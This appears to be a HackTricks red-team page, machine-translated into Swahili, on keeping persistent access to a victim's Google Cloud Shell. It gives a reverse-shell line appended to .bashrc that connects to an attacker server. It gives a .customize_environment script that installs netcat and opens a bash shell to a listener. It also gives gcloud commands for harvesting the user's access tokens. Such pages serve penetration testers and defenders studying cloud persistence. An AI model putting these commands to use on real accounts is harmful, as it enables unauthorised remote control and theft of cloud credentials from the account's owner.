GCP - Cloud Shell Persistence

Reading time: 5 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Cloud Shell

Kwa maelezo zaidi angalia:

GCP - Cloud Shell Enum

Persistent Backdoor

Google Cloud Shell inakupa ufikiaji wa amri kwa rasilimali zako za wingu moja kwa moja kutoka kwa kivinjari chako bila gharama yoyote inayohusiana.

Unaweza kufikia Cloud Shell ya Google kutoka web console au kwa kukimbia gcloud cloud-shell ssh.

Konsoli hii ina uwezo wa kuvutia kwa washambuliaji:

  1. Mtumiaji yeyote wa Google mwenye ufikiaji wa Google Cloud ana ufikiaji wa mfano wa Cloud Shell ulio na uthibitisho kamili (Akaunti za Huduma zinaweza, hata ikiwa ni Wamiliki wa shirika).
  2. Mfano huo uta hifadhi saraka yake ya nyumbani kwa angalau siku 120 ikiwa hakuna shughuli inayoendelea.
  3. Hakuna uwezo wa shirika kufuatilia shughuli za mfano huo.

Hii kwa msingi inamaanisha kwamba mshambuliaji anaweza kuweka backdoor katika saraka ya nyumbani ya mtumiaji na kadri mtumiaji anavyounganisha na GC Shell kila siku 120 angalau, backdoor itadumu na mshambuliaji atapata shell kila wakati inapoendeshwa kwa kufanya:

bash
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/'$CCSERVER'/443 0>&1 &)' >> $HOME/.bashrc

Kuna faili nyingine katika folda ya nyumbani inayoitwa .customize_environment ambayo, ikiwa ipo, itakuwa inasanidi kila wakati mtumiaji anapofikia cloud shell (kama katika mbinu ya awali). Ingiza tu backdoor ya awali au moja kama ifuatayo ili kudumisha uvumilivu kadri mtumiaji anavyotumia "mara kwa mara" cloud shell:

bash
#!/bin/sh
apt-get install netcat -y
nc <LISTENER-ADDR> 443 -e /bin/bash

warning

Ni muhimu kutambua kwamba wakati wa kwanza kitendo kinachohitaji uthibitisho kinapofanywa, dirisha la idhini linaonekana kwenye kivinjari cha mtumiaji. Dirisha hili lazima likubaliwe kabla ya amri kuweza kuendesha. Ikiwa dirisha lisilotarajiwa linaonekana, linaweza kuleta wasiwasi na huenda likaharibu njia ya kudumu inayotumika.

Hii ni pop-up kutoka kwa kutekeleza gcloud projects list kutoka kwa cloud shell (kama mshambuliaji) iliyoangaliwa katika kikao cha kivinjari cha mtumiaji:

Hata hivyo, ikiwa mtumiaji amekuwa akitumia cloudshell kwa shughuli, pop-up haitatokea na unaweza kusanya tokens za mtumiaji kwa:

bash
gcloud auth print-access-token
gcloud auth application-default print-access-token

Jinsi muunganisho wa SSH unavyoanzishwa

Kimsingi, hizi API calls 3 zinatumika:

Lakini unaweza kupata taarifa zaidi katika https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key

Marejeleo

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks